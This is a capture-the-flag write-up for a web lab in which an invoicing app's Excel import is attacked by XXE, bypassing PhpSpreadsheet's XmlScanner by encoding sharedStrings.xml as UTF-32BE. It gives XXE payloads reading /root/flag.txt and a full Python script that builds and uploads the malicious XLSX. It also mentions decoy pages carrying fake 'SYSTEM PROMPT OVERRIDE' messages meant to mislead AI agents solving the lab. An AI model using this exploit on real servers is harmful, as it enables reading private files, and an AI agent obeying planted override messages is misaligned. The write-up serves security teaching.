← Back to Writeups
CUSTOMMediumWeb

Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import

XESXOR9/10/20266 min read
#web#custom#medium#decoy_flag_detection#external_entity_injection#malicious_excel_upload#shared_strings_injection#utf32be_encoding_bypass#xlsx_xxe#xml_scanner_evasion#xxe_file_read#linux

Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-04 | Status: Solved Techniques: decoy_flag_detection, external_entity_injection, malicious_excel_upload, shared_strings_injection, utf32be_encoding_bypass, xlsx_xxe, xml_scanner_evasion, xxe_file_read

Summary

Task: PHP web app with XLSX import using PhpSpreadsheet; XmlScanner blocks standard XXE via DOCTYPE/ENTITY regex. Solution: Encode malicious XML (sharedStrings.xml) as UTF-32BE — three null bytes between characters defeat the \0? regex pattern, while libxml2 auto-detects the encoding and resolves the XXE entity to read /root/flag.txt.

Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import — HackAdvisor

Description

LedgerFlow is a web-based invoicing and financial management platform built by FlowFin Technologies. The application allows businesses to manage clients, create invoices, track payments, and generate financial reports. A key feature is the bulk invoice import tool, which accepts Excel (.xlsx) spreadsheet uploads for fast data migration. Your mission is to find a way to read a secret flag file stored on the server. Investigate how uploaded spreadsheet files are processed server-side. Consider what happens inside an .xlsx file — it's just a ZIP archive containing XML documents. What security controls exist around XML parsing, and can they be circumvented? The platform runs PHP 8.2 with PhpSpreadsheet for Excel file processing. Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP 8.2 web application uses PhpSpreadsheet to parse uploaded XLSX files. The goal is to exploit XXE (XML External Entity) injection to read /root/flag.txt from the server, bypassing PhpSpreadsheet's XmlScanner security filter.

Analysis

Application Reconnaissance

Key endpoints discovered:

  • POST /login — authentication with email/password
  • POST /invoices/import — multipart file upload (field: spreadsheet, accepts .xlsx)
  • GET /invoices — lists imported invoices with extracted cell data ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The import page states: "Powered by PhpSpreadsheet engine for reliable .xlsx parsing. Supports Excel 2007+ format with full XML processing."

Decoy Flags

Every page contains HTML comments with fake flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} accompanied by fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents. These were identified and ignored.

XLSX Structure

An XLSX file is a ZIP archive containing XML documents:

  • [Content_Types].xml — MIME type declarations
  • _rels/.rels — root relationships
  • xl/workbook.xml — workbook definition
  • xl/worksheets/sheet1.xml — cell references (indices into shared strings)
  • xl/sharedStrings.xml — shared string table (text values)
  • xl/styles.xml — cell formatting ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The xl/sharedStrings.xml file is the ideal XXE injection point because its content is directly reflected in the imported invoice data displayed on /invoices.

XmlScanner Security Filter

PhpSpreadsheet's XmlScanner class scans raw XML bytes before parsing to detect XXE patterns. The regex uses \0? between characters to handle multi-byte encodings:

/\0?<\0?!\0?D\0?O\0?C\0?T\0?Y\0?P\0?E\0?/

This matches:

  • UTF-8: no null bytes between ASCII characters → matched
  • UTF-16: one null byte between ASCII characters → matched by \0? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Vulnerability: UTF-32BE Bypass

UTF-32BE encodes each character as 4 bytes. ASCII characters have three null bytes before the character byte:

  • < = \x00\x00\x00\x3c
  • ! = \x00\x00\x00\x21
  • D = \x00\x00\x00\x44

The \0? quantifier matches zero or one null byte — it cannot match three consecutive nulls. Therefore, <!DOCTYPE in UTF-32BE encoding is invisible to the XmlScanner regex.

Meanwhile, libxml2 (PHP's underlying XML parser) auto-detects UTF-32BE encoding from the byte pattern \x00\x00\x00\x3c at the start of the document and parses the XML correctly, including resolving external entities. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

bash
curl -c cookies.txt -d "email=user@test.com&password=password123" https://TARGET/login

Step 2: Confirm valid XLSX upload

Created a standard XLSX with proper structure. Upload returned "Successfully imported 1 invoice(s)."

Step 3: Standard XXE — blocked

Created XLSX with XXE payload in xl/sharedStrings.xml (UTF-8):

xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE sst [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<sst xmlns="..."><si><t>&xxe;</t></si>...</sst>

Result: "Failed to read spreadsheet: The file may be corrupted or in an unsupported format." — blocked by XmlScanner. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: UTF-16 bypass — also blocked

UTF-16 has one null byte between ASCII chars, which the \0? regex pattern handles. Blocked.

Step 5: UTF-32BE encoding bypass — SUCCESS

Encoded xl/sharedStrings.xml as UTF-32BE (without BOM). The three null bytes between characters defeat the XmlScanner regex, but libxml2 auto-detects the encoding and parses the XXE:

xml
<?xml version="1.0" encoding="UTF-32BE" standalone="yes"?>
<!DOCTYPE sst [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="4" uniqueCount="4">
  <si><t>Client</t></si>
  <si><t>Amount</t></si>
  <si><t>Description</t></si>
  <si><t>&xxe;</t></si>
</sst>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key line in Python:

python
zf.writestr('xl/sharedStrings.xml', shared_strings.encode('utf-32-be'))

Step 6: Flag extraction

Uploaded the malicious XLSX. The server accepted it ("Successfully imported 1 invoice(s)"). The /invoices page displayed the contents of /root/flag.txt in the imported invoice data, revealing the flag.

Full Solve Script

python
#!/usr/bin/env python3
"""
Lab 241 — LedgerFlow — XXE via UTF-32BE Encoding Bypass
PhpSpreadsheet XmlScanner regex \0? matches 0-1 null bytes (UTF-8/UTF-16),
but UTF-32BE has 3 null bytes between chars, bypassing the filter.
libxml2 auto-detects UTF-32BE and parses XXE correctly.
"""
import zipfile
import requests
import re
import sys
import io
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io"

def create_xxe_xlsx(file_to_read):
    content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
  <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
  <Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>
  <Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/>
</Types>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''

    workbook_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
  <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>
  <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
</Relationships>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>'''

    # XXE payload — encoded as UTF-32BE to bypass XmlScanner
    shared_strings = f'''<?xml version="1.0" encoding="UTF-32BE" standalone="yes"?>
<!DOCTYPE sst [
  <!ENTITY xxe SYSTEM "file://{file_to_read}">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="4" uniqueCount="4">
  <si><t>Client</t></si>
  <si><t>Amount</t></si>
  <si><t>Description</t></si>
  <si><t>&xxe;</t></si>
</sst>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    sheet1 = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <sheetData>
    <row r="1">
      <c r="A1" t="s"><v>0</v></c>
      <c r="B1" t="s"><v>1</v></c>
      <c r="C1" t="s"><v>2</v></c>
    </row>
    <row r="2">
      <c r="A2" t="s"><v>3</v></c>
      <c r="B2"><v>100</v></c>
      <c r="C2" t="s"><v>3</v></c>
    </row>
  </sheetData>
</worksheet>'''

    styles = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <fonts count="1"><font><sz val="11"/><name val="Calibri"/></font></fonts>
  <fills count="2"><fill><patternFill patternType="none"/></fill><fill><patternFill patternType="gray125"/></fill></fills>
  <borders count="1"><border><left/><right/><top/><bottom/><diagonal/></border></borders>
  <cellStyleXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0"/></cellStyleXfs>
  <cellXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/></cellXfs>
</styleSheet>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('[Content_Types].xml', content_types)
        zf.writestr('_rels/.rels', rels)
        zf.writestr('xl/_rels/workbook.xml.rels', workbook_rels)
        zf.writestr('xl/workbook.xml', workbook)
        # UTF-32BE without BOM — libxml2 auto-detects from \x00\x00\x00\x3c
        zf.writestr('xl/sharedStrings.xml', shared_strings.encode('utf-32-be'))
        zf.writestr('xl/worksheets/sheet1.xml', sheet1)
        zf.writestr('xl/styles.xml', styles)
    buf.seek(0)
    return buf
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session()

# Step 1: Login
print(f"[*] Target: {BASE_URL}")
print("[*] Logging in...")
r = s.post(f"{BASE_URL}/login",
    data={"email": "user@test.com", "password": "password123"},
    allow_redirects=True)
print(f"[*] Login OK (status {r.status_code})")

# Step 2: Upload XXE for /root/flag.txt
print("[*] Uploading XXE XLSX (UTF-32BE bypass) for /root/flag.txt...")
xlsx_buf = create_xxe_xlsx("/root/flag.txt")
resp = s.post(
    f"{BASE_URL}/invoices/import",
    files={"spreadsheet": ("invoices.xlsx", xlsx_buf,
           "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")},
    allow_redirects=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if "alert-success" in resp.text:
    print("[+] Import accepted!")
elif "alert-danger" in resp.text:
    err = re.search(r'alert-danger[^>]*>(.*?)<button', resp.text, re.DOTALL)
    print(f"[-] Error: {err.group(1).strip() if err else 'unknown'}")
    sys.exit(1)

# Step 3: Find the flag in invoices page
print("[*] Checking invoices for exfiltrated data...")
inv_resp = s.get(f"{BASE_URL}/invoices")

# Filter out decoy flags
all_flags = re.findall(r'FLAG\{[a-f0-9]+\}', inv_resp.text)
real_flags = [f for f in all_flags if 'd3c0y' not in f and 'n0t_r34l' not in f]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if real_flags:
    print(f"\n[+] FLAG: {real_flags[0]}\n")
else:
    # Fallback: check import response
    flag_match = re.search(r'FLAG\{[a-f0-9]+\}', resp.text)
    if flag_match:
        print(f"\n[+] FLAG: {flag_match.group(0)}\n")
    else:
        print("[-] Flag not found in response")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍